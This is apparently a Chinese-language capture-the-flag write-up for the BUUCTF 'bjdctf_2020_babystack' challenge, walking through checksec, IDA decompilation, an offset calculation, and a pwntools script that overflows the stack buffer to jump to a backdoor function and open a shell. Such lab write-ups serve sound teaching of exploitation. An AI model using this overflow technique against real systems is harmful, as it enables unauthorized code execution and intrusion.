bjdctf_2020_babystack 1(栈溢出)
题目

做法
开虚拟机checksec

64位,没开栈保护
扔进IDA(64位),找到main,F5反编译

没啥东西,点进buf看看(同时注意第8行的nbytes,下面要用到)

栈溢出吗?不管了,先数为敬,offset=16-4+8(dq=8)+8-4=24
(注:buf读入的数据长度由我们输入的nbytes来控制,所以这里可以利用它来溢出,
原本的大小为0,没得读,只有我们为其赋值,我们写入的东西才能让他读(第8行和第18行代码))
然后找找后门函数
Shift+F12,看看有啥东西可用

一个system,一个/bin/sh
system点进去没东西
/bin/sh点进去,发现后门函数

exp

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",29658)
#给nbytes赋值(给值相对大点,太小不行,至少给offset和其原本就有的数据预留点位置)
r.sendline('50')
#定义 payload
payload = b'a' * 24 + p64(0x4006E6)
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
常规,得出flag


更新
于2025.4.14

浙公网安备 33010602011771号